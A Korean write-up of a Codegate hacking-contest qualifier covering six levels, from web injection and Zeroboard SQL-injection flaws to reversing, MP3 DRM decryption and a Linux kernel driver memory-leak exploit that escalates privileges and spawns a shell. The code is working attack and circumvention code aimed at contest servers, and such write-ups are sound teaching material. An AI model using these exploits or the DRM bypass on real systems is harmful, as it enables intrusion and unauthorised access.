= 제 1 회 Codegate 해킹대회예선전풀이 =
::::::::::::::::::::::::::::::::::::::::::::::::::: 레벨별패스워드 ::::::::::::::::::::::::::::::::::::::::::::::::::: [-] Level1 Plain text : WowhackerFighting!!!!!@KoreaFighting&hinehong Md5 : c79a0d2297411c451b82dc99f7fdc094 [-] Level 2 Plain text : ar70fh4cking Md5 : 90be449c342716e606e80c7a5b2080b8 [-] Level 3 Plain text : PaSSionAnDPrepAraTion Md5 : 19985fa6ebb27e837c27181cd962376f [-] Level 4 Plain text : \x47\x14\x1d\x28\x55\x17\x42\x63\x5c\x1f\x5d\x19\x42\x47\x1e\x1e \x2b\x0e\x13\x52\x4a\x17\x1d\x1a\x56\x4b Md5 : a370f816e2ee8adc9dac978a06c0946e [-] Level 5 Plain text : can't take my eyes off you Md5 : 878a254ace04109eb5407450d6dd8252 [-] Level 6 Plain text : hi everyone, this level is warming up! Md5 : 433b679ea506b4c826a16c362b5ac31a
Level 1 : Tomcat Server(Java) 레벨1 문제는 hint.jsp라는파일이름이힌트가나온후에풀수있었습니다. hint.jsp 소스에는 hinehong이라는이름의변수가 hidden으로있었습니다. 문제풀이시도중, 우연히 hint.jsp의 hinehong변수에 <script> 를넣으면다음과같은코드를주는것을발견하였습니다. wowhacker_wowcode_overhead_hinehong.vbs : Const gckey = "Wowhacker~!" Set xmlhttp = CreateObject("Microsoft.XMLHTTP") xmlhttp.open "GET", "http://222.239.80.207/wowhacker_hinehong_wowhacker_good", "false" xmlhttp.send() Wowhacker_hinehong_wowhacker_good 이라는파일안에는다음의내용이있었습니다. MIGcBgkrBgEEAYI3WAOggY4wgYsGCisGAQQBgjdYAwGgfTB7AgMCAAECAmYCAgIA gaqiztxtltd/iyceeni9/i9uokvsqyvaiizuexceuho0zki14cvnrvf5wfkj7sl8 F8C3ksNOi/FxulOzCQlJKrn46BSN1VY3v1Q/0+hsyKycpFUFKwp+uC+Z4DubOLyq 1Evj8UymVOIAlrHwtHX3 gckey 가무엇인지검색엔진에서검색해본결과, Microsoft Capicom 이제공해주는암 / 복호화 예제코드에쓰이고있는것을발견할수있었습니다. 그리고해당예제코드를기반으로 다음과같은암호해제용코드를작성하였습니다. Const gckey = "Wowhacker~!" ' 복호화를위해쓰이는키값 EncryptedData = "MIGcBgkrBgEEAYI3WAOggY4wgYsGCisGAQQBgjdYAwGgfTB7AgMCAAECAmYCAgIA gaqiztxtltd/iyceeni9/i9uokvsqyvaiizuexceuho0zki14cvnrvf5wfkj7sl8 F8C3ksNOi/FxulOzCQlJKrn46BSN1VY3v1Q/0+hsyKycpFUFKwp+uC+Z4DubOLyq 1Evj8UymVOIAlrHwtHX3" ' 암호화되어있는값 Public Function Decrypt(EncMessage) Dim ed, key
key = gckey Set ed = CreateObject("CAPICOM.EncryptedData") ed.setsecret key ed.decrypt EncMessage Decrypt = ed.content Set ed = Nothing End Function ' 복호화함수 Set xmlhttp = CreateObject("Microsoft.XMLHTTP") DecryptedData = Decrypt(EncryptedData) ' 복호화한다. msgbox DecryptedData ' 복호화한값출력 해당스크립트를실행결과, 다음과같은결과를얻을수있었습니다. 우리는이얻은문자열을가지고, login.php 로돌아가서, ID 란에는 wowhacker 를 Password 란에는위에서얻은문자열인 dhkdngozjxlathvmxmvhfjaghdehdcjfgood 을넣고 정답을얻을수있었습니다.
Level 2 : Web(PHP) + Cryptography(mixed) 문제에접속하여보면, zb4pl8 버전의제로보드가주어져있습니다. 해당버전의제로보드엔다음과같은문제점들이존재하는것으로알고있습니다. 1) 패치된후존재한 lib.php 의취약점 2) 초기화되지않은 s_que 변수문제로생기는 sql injection 취약점 3) & _member_info_included=1 으로비밀글을읽을수있는취약점 처음에는 1 번방법으로시도를하다가, 잘풀이가되지않아, 추가적으로 2,3 번방법을알아내었고, 두가지방법모두성공하였습니다. 해당비밀글을읽으면다음과같은내용이있었습니다. It\'s tough. Move following page and download a file. DO NOT USE ANY ANTI-VIRUS SOLUTIONS AND FIREWALLS. Your anti-vireus solutions could delete the file automatically. http://222.239.80.209/~hanssomi/ wowhacker/good!! 해당서버에접속하면, Activation.exe라는실행파일을제공하여줍니다. Activation.exe는내부적으로암호화 / 복호화루틴등은가지고있지않은것을보이며, 단지사용자로부터입력된값을, 222.239.80.212로전송하고, 서버에서암호화되진문자열을리턴해주는프로그램이었습니다. 프로그램내부에암호화루틴이존재하지않았기때문에, 먼저어떤식으로암호화가이루어지는지알아보기로했습니다. 암호화가되는문자는소문자 a~z, 숫자 0-9까지였습니다. 위문자들은각각일대일대응이되는문자가존재합니다. a b c d e f g h i j k L FA DF AX VD GV AA DD VF XV DG FF XA m n o p q r s t u v w z AG AD XD XX FX VX FG VG VA XG DX DA y z 0 1 2 3 4 5 6 7 8 9 GG XF FD GD GF FV DF AF GX AV VV GA 저문자들을조합하여 VDDAXDFFVVADAFFXAFAAVXVD 이라는암호화된문자열을 만들어야합니다. 문자하나당암호화될경우 2 개의문자로바뀌기때문에, 평문은 12 자라는 사실을알수있습니다. 하지만 12 글자를입력한뒤전송해보면입력한순서대로문자들은
암호화되지않았습니다. 그래서저는다음과같은테스트용표를만들어보았습니다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 3b 7a 12b 3a 8b 12a 4a 9b 2a 7b 11a 4b 8a 1a 6b 10a 5b 9a 1b 5a 10b 2b 6a 11b V D D A X D F F V V A D A F F X A F A A V X V D 0123456789ab F G F G V D F V G X F V A F F G V V D D A D A A 9123456789ab 1 F G F G V D F V G X F V A G F G V V A D A D A A 9323456789ab 2 F G F G V D F V F X F V A G F G V V A D A V A A 9343456789ab 3 V G F D V D F V F X F V A G F G V V A D A V A A 9341456789ab 4 V G F D V D G V F X F D A G F G V V A D A V A A 9341556789ab 5 V G F D V D G V F X F D A G F G F V A A A V A A 9341546789ab 6 V G F D V D G V F X F D A G V G F V A A A V D A 9341544789ab 7 V D F D V D G V F V F D A G V G F V A A A V D A 9341544689ab 8 V D F D X D G V F V F D G G V G F V A A A V D A 9341544609ab 9 V D F D X D G D F V F D G G V G F F A A A V D A 9341544603ab 10 V D F D X D G D F V F D G G V F F F A A V V D A 9341544603dc 11 V D F D X D G D F V V D G G V F F F A A V V D D 위의표를보면, 평문의한자리를바꿀경우암호화된문자열의어느위치가바뀌는지를파악할수있습니다. 정리하여보면, 암호화된문자열은다음과같이바뀐다는것을알수있습니다. 3B 7A 12B 3A 8B 12A 4A 9B 2A 7B 11A 4B 8A 1A 6B 10A 5B 9A 1B 5A 10B 2B 6A 11B 앞에숫자는문자의위치를의미하며, A는앞문자, B는뒷문자를의미합니다. 위에나온식을토대로 VDDAXDFFVVADAFFXAFAAVXVD 문자열이어떤평문으로이루어졌는지역으로따라가보면 ar70fh4cking 이라는문자열이답이라는걸확인할수있습니다.
Level 3 : Windows Reverse Engieenring(win32+pack) 주어지는실행파일인 notepad.exe 를실행시키면, 어떤동작을하는지알아보기위하여, Sysanalyzer 를이용하여동작을살펴보았습니다. 옵션에는 Api Logger 와 Directory Watcher 에체크해주었습니다. 실행결과를정리하여보면다음과같았습니다. 실행한프로세스 : PID ParentPID Path 3116 4064 C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\notepad.exe Loaded Drivers: Driver File -------------------------------------------------- C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SVCH0ST.sys Api log : 405f91 CreateFileA(C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\notepad.exe) 403672 WriteFile(h=32c) 405f91 CreateFileA(C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SVCH0ST.exe) DirwatchData : Modifed: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\notepad.exe Created: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SVCH0ST.sys Modifed: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SVCH0ST.sys Deteled: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SVCH0ST.sys
로그결과, Temp 디렉토리에생성되는 SVC~ 파일들이중요할것으로추측하여, 해당디렉토리를들어가서, SVCH0ST.exe 파일을획득할수있었습니다. PEID 로해당파일을스캔한결과 UPX 로압축된것을확인할수있었습니다. Upx d 을이용하여압축을해제하였습니다. 해당파일을성공적으로언팩하였습니다. 입력된값을 Auth key 인지확인하기위해, 어떤코드를사용하는지보기위해,
GetDlgItemText() 함수에브레이크포인트를걸고런을시킨후, 값을입력하고 Auth 를누르자. 0x401100 에서 GetDlgItemText() 를호출하는것을잡아내었습니다. 해당코드아랫부분에서호출하는다음과같은코드를보면, 004011EB. CALL SVCH0ST.00401310 004011F0. ADD ESP,4 004011F3. TEST EAX,EAX 004011F5. JNZ SHORT SVCH0ST.00401221 004011F7. LEA EAX,DWORD PTR SS:[ESP+8] 004011FB. PUSH ESI 004011FC. PUSH EAX 004011FD. LEA ECX,DWORD PTR SS:[ESP+B0] 00401204. PUSH SVCH0ST.004070A4 00401209. PUSH ECX 0040120A. CALL DWORD PTR DS:[<&USER32.wsprintfA>] ; \wsprintfa 00401210. ADD ESP,10 00401213. PUSH 0 00401215. PUSH SVCH0ST.00407098 ; ASCII "Success!!" 0040121A. PUSH SVCH0ST.00407098 ; ASCII "Success!!" 0040121F. JMP SHORT SVCH0ST.00401248 00401221 > LEA EDX,DWORD PTR SS:[ESP+8] 00401225. LEA EAX,DWORD PTR SS:[ESP+A8] 0040122C. PUSH EDX 0040122D. PUSH SVCH0ST.00407080 00401232. PUSH EAX 00401233. CALL DWORD PTR DS:[<&USER32.wsprintfA>] 00401239. ADD ESP,0C 0040123C. PUSH 0 0040123E. PUSH SVCH0ST.00407070 ; ASCII "Trial Version!!" 00401243. PUSH SVCH0ST.00407070 ; ASCII "Trial Version!!" 00401248 > MOV ESI,DWORD PTR SS:[ESP+1B8] 0040124F. PUSH ESI 00401250. CALL DWORD PTR DS:[<&USER32.MessageBoxA>> 00401256. LEA ECX,DWORD PTR SS:[ESP+A8] 0x4011eb 에서의결과에따라성공과실패가판가름남으로, 해당콜에서키값을검증할 것임을알수있습니다. 해당콜에서는다음과같은사용자가입력한값을암호화하는 코드가있었습니다.
0040135C > MOV AL,BYTE PTR DS:[EDX] 0040135E. CMP AL,61 00401360. JL SHORT SVCH0ST.0040136A 00401362. CMP AL,7A 00401364. JG SHORT SVCH0ST.0040136A 00401366. DEC AL 00401368. JMP SHORT SVCH0ST.00401374 0040136A > CMP AL,41 0040136C. JL SHORT SVCH0ST.00401377 0040136E. CMP AL,5A 00401370. JG SHORT SVCH0ST.00401377 00401372. INC AL 00401374 > MOV BYTE PTR DS:[EBX+EDX],AL 00401377 > INC EBP 00401378. MOV EDI,ESI 0040137A. OR ECX,FFFFFFFF 0040137D. XOR EAX,EAX 0040137F. INC EDX 00401380. REPNE SCAS BYTE PTR ES:[EDI] 00401382. NOT ECX 00401384. DEC ECX 00401385. CMP EBP,ECX 00401387. JB SHORT SVCH0ST.0040135C 내용을분석하여보면, a 와 z 사이라면값을 1줄임, A 와 Z 사이라면값을 1늘임, 특수문자는변화없음. 입니다. 즉이것을반대로하여, a와 z 사이의값은 1늘임, A와 Z사이면 1줄임을하여주면, 평문을얻을수있을것임을알수있습니다. 다음과같은간단한코드를작성하여보았습니다. #include "stdafx.h" #include <stdlib.h> #include <string.h> #include <ctype.h> int main(int argc, char* argv[]) char EncodedText[] = "Q`TThnmBmEQqdoBq`Uhnm"; for(int i = 0; i < strlen(encodedtext); i++)
if(isalpha(encodedtext[i])) if(islower(encodedtext[i])) printf("%c",encodedtext[i] + 1); else if(isupper(encodedtext[i])) printf("%c",encodedtext[i] - 1); else if(encodedtext[i] == ('a' - 1)) printf("%c",encodedtext[i] + 1); else if(encodedtext[i] == ('Z' + 1)) printf("%c",encodedtext[i] - 1); else printf("%c",encodedtext[i]); printf("\n"); return 0; 암호화된문장에서알파벳이아닐때에도, 평문이소문자 a 의경우와 Z 였을경우가있음으로, 예외처리를해주어야합니다. 실행결과는다음과같았습니다.
Level 4 : Linux + Cryptography(RE+crypt) 4번문제는 fedora core8에서컴파일된바이너리를이용한복호화문제입니다. 저희팀은처음에는, 해당문제를 fckorea-wowhacker-codegate 라는원본문자열의길이만큼스트링을넣어주고, 디버거를이용하여살펴보며수작업으로변형시키며패스워드를찾았습니다. 다른문제를풀고있을떄쯤, 힌트를참조하여다시한번다음과같이풀어보았습니다. 재가참조한힌트의내용은다음과같습니다. char *keys[10] = "98a4c18682f8dc33678ae321b9f95b4d", "5d6a2274d93ad079bd3a3840cf0e70d0", "44565ca878f878ab967c9f9d3a074163", "401b9b0624cd1b32eab18acab0ce3da3", "0baff11bed4531372a07ce319925bb78", "73f2b9ad80693506f5fc6b1fd505b2e3", "a46c3580f9f27b4a8d91f4ad35ef630b", "516415464fc111c0895ec2158a9ca17e", "41280517fb6ea3dbd0062f688d3e611d", "94d9d3a75d244de239b8f9199f0e4db1" ; 앞서공개한간단한연산은 + 또는 - 연산입니다. char 범위를넘지않기위해 % 128 연산도이루어집니다. 입력문자열의길이에따라시작키가달라지며, 암호문의한글자당다른키의문자와연산이이루어집니다. 위에주어진힌트만으로도해당문제는아주쉽게풀수있는문제입니다. 먼저입력된문자열의길이에따라시작키가달라진다고하였는데, 이부분은어짜피사용할문자열이 fckorea-wowhacker-codegate 로정해져있음으로, 문제가되지않습니다. 다음과같은코드를작성하여해당문제를풀수있었습니다. #include <stdio.h> #include <stdlib.h> #include <string.h> char *keys[10] = "98a4c18682f8dc33678ae321b9f95b4d", "5d6a2274d93ad079bd3a3840cf0e70d0", "44565ca878f878ab967c9f9d3a074163", "401b9b0624cd1b32eab18acab0ce3da3", "0baff11bed4531372a07ce319925bb78", "73f2b9ad80693506f5fc6b1fd505b2e3", "a46c3580f9f27b4a8d91f4ad35ef630b", "516415464fc111c0895ec2158a9ca17e", "41280517fb6ea3dbd0062f688d3e611d", "94d9d3a75d244de239b8f9199f0e4db1" ;
char EncryptedText[] = "fckorea-wowhacker-codegate"; char buffer[400] = "./prog `perl -e \'printf \""; int main(int argc, char* argv[]) int i; int cnt; unsigned char ch; char buf[10]; cnt = 6; printf("generating password start...\n"); printf("exploiting...\n"); for(i = 0; i < strlen(encryptedtext); i++) ch = (keys[cnt++][i] + EncryptedText[i]) % 128; sprintf(buf,"\\x%0x",ch); strcat(buffer,buf); if(cnt == 10) cnt = 0; strcat(buffer,"\"\'`"); printf("generated code : %s\n",buffer); system(buffer); return 0; 실행결과는다음과같습니다.
다음문제는다음페이지에
Level 5 : DRM(mp3 drm) 당신은 A 음악포털에가입하여한 MP3 파일을 100,000원을주고다운로드하였다. 해당파일은 EXE 파일로되어있었으며, 실행을시키면바탕화면에 MP3 파일을생성하는역할을하였다. 당신은 'MP3 파일만복사하는게아니니까, EXE 파일로배포하겠지...' 라고생각했지만큰관심을두지는않았다. 그후당신은바탕화면에생성된 MP3 파일을당신의 MP3 Player에복사하였지만해당파일은 MP3 포멧의 DRM 파일이었다. 해당노래는찌지직거리는잡음만재생될뿐이였다. 당신은화가났다. 100,000원이나주고결제했는데노래를들을수없다니... 컴퓨터음악을전공한당신은 MP3 파일의첫번째 Frame과두번째 Frame이이상하다는것을알수있었다. Password : 노래의제목 먼저 music.exe 라는파일이주어집니다. 해당실행파일이무엇을하는지분석하기위해, sysanalyzer 를이용하여분석하여보았습니다. 옵션은 User Api Logger 와 User Directory Watcher 를사용하였습니다. Api logger : 401045 _lcreat(c:\documents and Settings\Administrator\ 바탕화면 \What.mp3,0) 7c8365cf CreateFileA(C:\Documents and Settings\Administrator\ 바탕화면 \What.mp3) 401050 _lwrite(h=6f8) 7c838b06 WriteFile(h=6f8) 401045 _lcreat(c:\windows\system32\private.key,0) 7c8365cf CreateFileA(C:\WINDOWS\system32\private.key) DirwatchData Modifed: C:\WINDOWS\system32\private.key
C:\WINDOWS\system32\private.key 의경로로가서, 다음과같은 RSA 키를획득하였습니다. RSA 로암호화된것처럼보이는 (128 길이의 ) 데이터는두번쨰프레임에존재했습니다. Openssl 의 rsautil 기능을이용하여해당부분을다음과같이복호화시켰습니다.
힌트에 1,2 프레임은 drm 으로사용되는것이라고했음으로, 제거해주고그후에다음과같은 프레임단위당 blowfish 해주는코드를작성하여복호화를시도하였습니다. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <openssl/blowfish.h> unsigned char ivec[8]; char file1[80]="./in.mp3"; // 암호화할파일명. char file2[80]="./out.mp3"; // 복호화할파일명. char decryptkey[64] = 0,; // 복호화키 long file_size(char* file) FILE* fin; int size; fin = fopen(file,"r"); fseek( fin, 0, SEEK_END );
size = ftell( fin ); fclose(fin); return size; int bfdecrypt622(const unsigned char *in, unsigned char *out) BF_KEY key; int num; num = 0; memset(ivec, '\0', 8); BF_set_key(&key,64,decryptkey); BF_cfb64_encrypt(in, out, 622, &key, ivec, &num, BF_DECRYPT); return 0; int bfdecrypt623(const unsigned char *in, unsigned char *out) BF_KEY key; int num; num = 0; memset(ivec, '\0', 8); BF_set_key(&key,64,decryptkey); BF_cfb64_encrypt(in, out, 623, &key, ivec, &num, BF_DECRYPT); return 0; int main(int argc, char *argv[]) FILE *ffile,*ffile2; long i; long cnt; unsigned char *inbuf,*outbuf;
char *p,*p2; if ((ffile = fopen(file1,"r+b")) == -1) printf("can't open %s\n", file1); return -1; if ((ffile2 = fopen(file2, "wb")) == -1) printf("can't open %s\n", file2); return -1; strcat(decryptkey,"the best security group. WoWHacker"); printf("the Size of File : %d\n",file_size(file1)); inbuf = (unsigned char *)malloc(file_size(file1)); outbuf = (unsigned char *)malloc(file_size(file1)); memset(inbuf,0x0,file_size(file1)); fread(inbuf,1,file_size(file1),ffile); memset(outbuf,0x0,file_size(file1)); cnt = 0; printf("counting frames...\n"); for(i = 0; i < file_size(file1)-1; i++) if(inbuf[i] == 0xFF && inbuf[i+1] == 0xFB && inbuf[i+3] == 0x04) cnt++; if(inbuf[i+2] == 0xb2) //623 p = &inbuf[i+4]; p2 = &outbuf[i+4]; bfdecrypt623(p,p2); memcpy(&outbuf[i],&inbuf[i],4); i += 623;
else if(inbuf[i+2] == 0xb0) //622 p = &inbuf[i+4]; p2 = &outbuf[i+4]; bfdecrypt622(p,p2); memcpy(&outbuf[i],&inbuf[i],4); i += 622; else printf("uknown Size\n"); printf("count of frame : %d\n",cnt); //fwrite(ffile2,outbuf,file_size(file1)); fwrite(outbuf,1,file_size(file1),ffile2); fclose(ffile); fclose(ffile2); free(inbuf); free(outbuf); return 0; 다음과같이실행시키어주었습니다.
해당파일을사운드포지로재생시키어보았습니다. I love you baby~ J
Level 6 : Linux System(kernel) 먼저 217 서버와 218 서버는구동되고있는디바이스드라이버의 minor 버전이다른걸알 수있습니다. 217 서버는 0 번을, 218 서버는 2 번의 minor 버전을가지고있었습니다. Minor 버전에따라서디바이스드라이버의디스패치루틴은다음과같이변경됩니다. struct file_operations hk0_fops =.owner = THIS_MODULE,.ioctl = ioctl_global_hk,.open = open_a,.write = write_a,.read = read_a,.llseek = llseek_a,.release = release_a,.mmap = mmap_a, ; struct file_operations hk1_fops =.owner = THIS_MODULE,.ioctl = ioctl_global_hk,.open = open_b,.write = write_b,.read = read_b,.llseek = llseek_b,.release = release_b, ; struct file_operations hk2_fops =.owner = THIS_MODULE,.ioctl = ioctl_global_hk,.open = open_c,.write = write_c,.read = read_c,.llseek = llseek_c,.release = release_b, ;
소스코드를분석하여보면, 디바이스드라이버의중요한부분인, ioctl 디스패치 루틴의코드에는 TEST 와 AUTH_HK 두가지기능이존재합니다. char *hkp = hk_password; hkst plz; if( (_IOC_TYPE(cmd)!= HK_MAGIC) && (_IOC_NR(cmd) > LAST_NR) ) return -EINVAL; rtn = sz = 0; if( (sz = _IOC_SIZE(cmd)) ) if( _IOC_DIR(cmd) & _IOC_READ ) rtn = access_ok( VERIFY_WRITE, (void *)arg, sz ); else if( _IOC_DIR(cmd) & _IOC_WRITE ) rtn = access_ok( VERIFY_READ, (void *)arg, sz ); if(!rtn) return rtn; switch( cmd ) case AUTH_HK: sz = _IOC_SIZE(cmd); rtn = access_ok( VERIFY_READ, (void *)arg, sz ); if(!rtn) return rtn; if( (rtn = copy_from_user( (void *)&plz, (const void *)arg, sz )) < 0 ) return rtn; if(!hk_compare( plz.key, hkp +8 ) ) current->uid = current->euid = HK_ID; current->gid = current->egid = HK_ID; break; 중요하여보이는 AUTH_HK 는 hk_passowrd 변수 + 8 위치부터의문자열값과사용자입력값을 비교하는기능을하고있음을알수있습니다. 비교결과가같다면, uid 와 gid 를바꿔주고있는
것을볼수있습니다. 즉 hk_password 값이무엇인지찾아야함을알수있습니다. 소스코드를분석하여보면, 218 서버에서작동되는 read 인 read_c 디스패치루틴의 드라이버코드에다음과같은문제가있음을볼수있습니다. if( (errn = copy_to_user( (void *)buf, (const void *)p, (unsigned long)count )) < 0 ) return errn; *f_pos = *f_pos +count; 존재하는문제점은, count 크기의제약이없으며, f_pos 는 read() 를해줄때마다계속증가한다는 점입니다. 이부분을이용하여서 hk_password 의값을읽을수있으리라짐작하고다음과 같은코드를작성하였습니다. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include "dumpcode.h" char buffer[9999999] = 0,; void FIND_HK_KEY() int i; for(i = 0; i < 1048576-6; i++) if(!memcmp(&buffer[i],"hk_key:",7)) dumpcode(&buffer[i], 60); int main(int argc,char argv[]) int ffile; int i;
printf("trying to open device...\n"); ffile = open("/dev/hkdev", O_RDWR O_NONBLOCK O_NDELAY); if(ffile == -1) printf("open Error!!\n"); return -1; printf("pointer Moving...\n"); for(i = 0; i < 0x1000; i++) read(ffile, buffer, 1048576); printf("[-] Now HK_KEY Find Start\n"); while(1) read(ffile, buffer, 1048576); FIND_HK_KEY(); return 0xdeadbeef; 실행결과다음과같이 HK_KEY 값을읽어올수있었습니다. 이값을 hkst 구조체에담아, ioctl 로 AUTH_HK 라는 ioctl_code 와함께보내어주면될것입니다. #include <stdio.h> #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <errno.h> #define HK_MAGIC #define AUTH_HK 'k' _IOR( HK_MAGIC, 0, hkst ) //0x80806b00
typedef struct char key[128]; attribute ((packed)) hkst; int main(int argc,char argv[]) int ffile,result; hkst plz; //ffile = open("/dev/hker",); ffile = open("/dev/hkdev",o_rdwr); if( ffile == -1) printf("can`t open!!\n"); return -1; strcpy(plz.key, "linux kernel memory leak vulnerability is very frequent and famous."); ioctl( ffile, AUTH_HK, plz.key, HK_MAGIC); system("/bin/sh"); close(ffile); return 0xdeadbeef; 이렇게하면, Uid=501(hk) gid=501(hk) groups=500(sixsense) 으로 hk아이디의 uid와 gid를얻은것을볼수있습니다. 그후, Sh-3.1$ cd /home Sh-3.1$ ls al Total 64 drwxr-xr-x 8 root root 4096. drwxr-xr-x 23 root root 4096.. drwx------ 3 hk hk 4096 hk. Sh-3.1$ cd hk
Sh-3.1$ ls al Total 64 drwx--------- 3 hk hk 4096. drwx--------- 8 root root 4096 -rwx----------1 hk hk 39 PASSWORD.. Sh-3.1$ cat PASSWORD Hi everyone, this level is warming up! 끝까지읽어주셔서감사합니다. ( ).